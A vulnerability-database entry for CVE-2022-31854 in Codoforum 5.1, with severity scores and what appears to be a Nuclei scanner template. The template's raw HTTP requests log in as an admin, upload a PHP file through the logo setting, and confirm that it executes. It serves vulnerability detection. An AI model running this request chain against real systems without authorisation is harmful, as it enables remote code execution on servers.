7.2 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
0.262 Low
EPSS
Percentile
96.7%
Codoforum 5.1 contains an arbitrary file upload vulnerability via the logo change option in the admin panel. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code. As a result, an attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
id: CVE-2022-31854
info:
name: Codoforum 5.1 - Arbitrary File Upload
author: theamanrawat
severity: high
description: |
Codoforum 5.1 contains an arbitrary file upload vulnerability via the logo change option in the admin panel. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code. As a result, an attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected system.
remediation: |
Apply the latest security patch or upgrade to a patched version of Codoforum.
reference:
- https://bitbucket.org/evnix/codoforum_downloads/downloads/codoforum.v.5.1.zip
- https://codoforum.com
- https://vikaran101.medium.com/codoforum-v5-1-authenticated-rce-my-first-cve-f49e19b8bc
- https://nvd.nist.gov/vuln/detail/CVE-2022-31854
- https://github.com/trhacknon/Pocingit
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2022-31854
cwe-id: CWE-434
epss-score: 0.17108
epss-percentile: 0.95958
cpe: cpe:2.3:a:codologic:codoforum:5.1:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: codologic
product: codoforum
tags: cve,cve2022,rce,codoforumrce,authenticated,intrusive,codologic
http:
- raw:
- |
POST /admin/?page=login HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryACGPpj7UIqmtLNbB
------WebKitFormBoundaryACGPpj7UIqmtLNbB
Content-Disposition: form-data; name="username"
{{username}}
------WebKitFormBoundaryACGPpj7UIqmtLNbB
Content-Disposition: form-data; name="password"
{{password}}
------WebKitFormBoundaryACGPpj7UIqmtLNbB--
- |
GET /admin/index.php?page=config HTTP/1.1
Host: {{Hostname}}
- |
POST /admin/index.php?page=config HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoLtdjuqj2ixPvBhA
------WebKitFormBoundaryoLtdjuqj2ixPvBhA
Content-Disposition: form-data; name="site_title"
------WebKitFormBoundaryoLtdjuqj2ixPvBhA
Content-Disposition: form-data; name="forum_logo"; filename="{{randstr}}.php"
Content-Type: application/x-httpd-php
<?php
echo md5('CVE-2022-31854');
?>
------WebKitFormBoundaryoLtdjuqj2ixPvBhA
Content-Disposition: form-data; name="CSRF_token"
{{csrf}}
------WebKitFormBoundaryoLtdjuqj2ixPvBhA--
- |
GET /sites/default/assets/img/attachments/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code_4 == 200
- contains(content_type_4, "text/html")
- contains(body_4, "a63fd49130de6406a66600cd8caa162f")
condition: and
extractors:
- type: regex
name: csrf
group: 1
regex:
- name="CSRF_token" value="([0-9a-zA-Z]+)"/>
internal: true
# digest: 490a0046304402200fc44f8569c5b730415b2491b31a8709cd4a5c096a8e8dd650d1d58108709768022004858ff3b8255a696b01d2443eaf22d347e26d244a63611c77aee1c00133b538:922c64590222798bb761d5b6d8e72950
7.2 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
0.262 Low
EPSS
Percentile
96.7%